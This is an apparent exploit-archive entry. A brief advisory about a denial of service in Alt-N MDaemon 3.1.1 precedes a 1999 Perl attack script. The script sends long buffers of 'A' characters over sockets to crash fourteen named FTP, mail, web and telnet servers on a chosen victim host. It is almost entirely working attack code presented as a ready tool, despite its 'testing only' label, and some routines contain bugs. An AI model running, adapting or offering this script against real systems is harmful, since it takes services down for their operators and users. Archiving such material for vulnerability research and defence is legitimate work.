Alt-N MDaemon 3.1.1 - Denial of Service

source: https://www.securityfocus.com/bid/1689/info

Alt-N MDaemon 3.1.1 is subject to a denial of service. If a remote user requests a specially crafted URL to the web services within MDaemon the service will crash. A restart of the service is required in order to gain normal functionality.

#!/usr/bin/perl
#####################################################################
# Based upon advisories by USSR (www.ussrback.com)		    #
#								    #
# Demonstration script to remotely overflow various server buffers, #
# resulting in a denial of service, for TESTING purposes only.	    #
# Runs on *nix & WinXX with perl & Net::Telnet available from CPAN  #
#								    #
# G6 FTP Server          v2.0 beta4/5				    #
# MDaemon httpd Server   v2.8.5.0				    #
# Avirt Mail Server      v3.5					    #
# BisonWare FTP Server   v3.5					    #
# Vermillion FTP Server  v1.23					    #
# ZetaMail POP3 Server   v2.1					    #
# WFTPD FTP Server       2.40					    #
# BFTelnet Server        v1.1					    #
# Broker FTP Server      v3.5				            #
# ExpressFS  FTP server  v2.x					    #
# XtraMail POP3 Server   v1.11					    #
# Cmail SMTP Server      v2.4	                                    #
# PakMail SMTP/POP3	 v1.25			                    #
#								    #
# December '99							    #
#####################################################################

use IO::Socket;
use Getopt::Std;
#use Net::Telnet;
getopts('h:p:t:u:v', \%args);
if(!defined($args{h}) && !defined($args{t})) { 
print  qq~Usage:    $0 -h <victim> -t <number> ((-u username) | (-p password)) | -v

	-h victim to test remote overflow DoS on
	-t server type (check the -v option for list)
	-u username authorisation (required if server prompts for username)
	-p password authentication (required if user/passwd is expected)
	-v lists all servers vulnerable to each DoS

~; exit; }

if(defined($args{u})) { $user=$args{u}; }
if(defined($args{p})) { $pass=$args{p}; }
if(defined($args{v})) { &vulnerable; }
if(defined($args{h}) && defined($args{t})){
if(($args{t}) == 1)  { &G6;         }
if(($args{t}) == 2)  { &mdaemon;    }
if(($args{t}) == 3)  { &avirt;      }
if(($args{t}) == 4)  { &bisonware;  }
if(($args{t}) == 5)  { &vermillion; }
if(($args{t}) == 6)  { &zetamail;   }
if(($args{t}) == 7)  { &wftpd;      }
if(($args{t}) == 8)  { &bftelnet;   } 
if(($args{t}) == 9)  { &broker;     } 
if(($args{t}) == 10) { &expressfs;  } 
if(($args{t}) == 11) { &xtramail;   }
if(($args{t}) == 12) { &cmail;      }
if(($args{t}) == 13) { &pakmail;    } 
if(($args{t}) == 14) { &pakpop;     }}

sub G6 { 
$denial .= "A" x 2000;
$victim=$args{h};
	$socket = IO::Socket::INET->new (Proto => "tcp",
				  	 PeerAddr => $victim,
				  	 PeerPort => "21") or die "Can't connect.\n";
	$socket->autoflush(1);
print $socket "$denial\n"; # user
print "\nSent overflow to $victim\n";
close $socket; }

sub mdaemon {
$victim=$args{h};
$denial .= "A" x 1025;
$url = "/$denial";
	$socket = IO::Socket::INET->new (Proto => "tcp",
					 PeerAddr => $victim,
					 PeerPort => "80") or die "Can't connect.\n";
print $socket "GET $url\n";
print "\nSent overflow to $victim\n";
close $socket; }

sub avirt { 
$victim=$args{h};
$denial .= "A" x 856;
	$socket = IO::Socket::INET->new (Proto => "tcp",
			                 PeerAddr => $victim,
                			 PeerPort => "25") or die "Can't connect\n";
        $socket->autoflush(1);
print $socket "user $user\n";
print $socket "pass $denial\n";
print "\nSent overflow to $victim\n";
close $socket; }

sub bisonware {
$victim=$args{h};
$denial .= "A" x 2000;
	$socket = IO::Socket::INET->new (Proto => "tcp",
			                 PeerAddr => $victim,
                			 PeerPort => "21") or die "Can't connect\n";
        $socket->autoflush(1);
print $socket "$denial\n";
print "\nSent overflow to $victim\n";
close $socket; }

sub vermillion {
$victim=$args{h};
$denial .= "A" x 504;
	$socket = IO::Socket::INET->new (Proto => "tcp",
			                 PeerAddr => $victim,
                			 PeerPort => "21") or die "Can't connect\n";
        $socket->autoflush(1);
print $socket "$user\n";
print $socket "$pass\n";
print $socket "cwd $denial\n";
for($i=0; $i<=3; $i++) { print $socket "CWD $denial\n"; }
print "\nSent overflow to $victim\n";
close $socket; }

sub zetamail {
$victim=$args{h};
$denial .= "A" x 3500;
	$socket = IO::Socket::INET->new (Proto => "tcp",
					 PeerAddr => $victim,
					 PeerPort => "110") or die "Can't connect.\n";
print $socket "user $denial\n"; 
print $socket "pass $denial\n";
print "\nSent overflow to $victim\n";
close $socket; }

sub wftpd {
$victim=$args{h};
$denial .= "A" x 255;
	$socket = IO::Socket::INET->new (Proto => "tcp",
					 PeerAddr => $victim,
					 PeerPort => "21") or die "Can't connect.\n";
print $socket "$user\n";
print $socket "$pass\n";
print $socket "MKDIR $denial\n";
print $socket "CWD $denial\n";
print "\nSent overflow to $victim\n";
close $socket; }

sub bftelnet {
# use Net::Telnet;
$victim=$args{h};
$denial .= "A" x 3090;
$telnet = new Net::Telnet ( Timeout =>10,
			    Errmode =>'die');
$telnet->open('$victim');
$telnet->waitfor('/Login: $/i');
$telnet->print('$denial');
print "\nSent overflow to $victim\n";
close $telnet; }

sub broker {
$victim=$args{h};
$denial .= "A" x 2730;
	$socket = IO::Socket::INET->new (Proto => "tcp",
			                 PeerAddr => $victim,
                			 PeerPort => "21") or die "Can't connect.\n";
print $socket "$denial\n";
print "\nSent overflow to $victim\n";
close $socket; }


sub expressfs {
$victim=$args{h};
$denial .= "A" x 654;
	$socket = IO::Socket::INET->new (Proto => "tcp",
			                 PeerAddr => $victim,
                			 PeerPort => "21") or die "Can't connect.\n";
print $socket "$denial\n";
print $socket "AAAAAAAAAAAAAAAAAAA\n";
print "\nSent overflow to $victim\n";
close $socket; }

sub xtramail {
$victim=$args{h};
$denial .= "A" x 2930;
	$socket = IO::Socket::INET->new (Proto => "tcp",
					 PeerAddr => $victim,
					 PeerPort => "25") or die "Can't connect.\n";
print $socket "MAIL FROM: test\@localhost\n";
print $socket "RCPT TO: $denial\@localhost\n";
print "\nSent overflow to $victim\n";
close $socket; }

sub cmail {
$victim=$args{h};
$denial .= "A" x 7090;
	$socket = IO::Socket::INET->new (Proto => "tcp",
					 PeerAddr => $victim,
					 PeerPort => "25") or die "Can't connect.\n";
print $socket "MAIL FROM: $denial\@localhost\n";
print "\nSent overflow to $victim\n";
close $socket; }

sub pakmail {
$victim=$args{h};
$denial .= "A" x 1390;
	$socket = IO::Socket::INET->new (Proto => "tcp",
					 PeerAddr => $victim,
					 PeerPort => "25") or die "Can't connect.\n";
print $socket "MAIL FROM: test\@localhost\n";
print $socket "RCPT TO: $denial\@localhost\n";
print "\nSent overflow to $victim\n";
close $socket; }

sub pakpop {
$victim=$args{h};
$denial .= "A" x 1400;
	$socket = IO::Socket::INET->new (Proto => "tcp",
					 PeerAddr => $victim,
					 PeerPort => "110") or die "Can't connect.\n";
print $socket "user test\n";
print $socket "pass $denial\n";
print "\nSent overflow to $victim\n";
close $socket; }

sub vulnerable {
print qq~
 ______________________________________________________________________________
    Vulnerable Daemon        Version         Vulnerable Daemon         Version
 ______________________________________________________________________________

 [1] G6 FTP Server           v2.0b4/5     [2] MDaemon httpd Server     v2.8.5.0

 [3] Avirt Mail Server       v3.5         [4] BisonWare FTP Server     v3.5

 [5] Vermillion FTP Server   v1.23        [6] ZetaMail SMTP Server     v2.1

 [7] WFTPD FTP Server        v2.40        [8] BFTelnet Server          v1.1

 [9] Broker FTP Server       v3.5        [10] ExpressFS FTP Server     v2.x 

[11] XtraMail POP3 Server    v1.11       [12] Cmail SMTP Server        v2.4

[13] PakMail SMTP Server     v1.25       [14] PakMail POP3 Server      v1.25

~; exit; }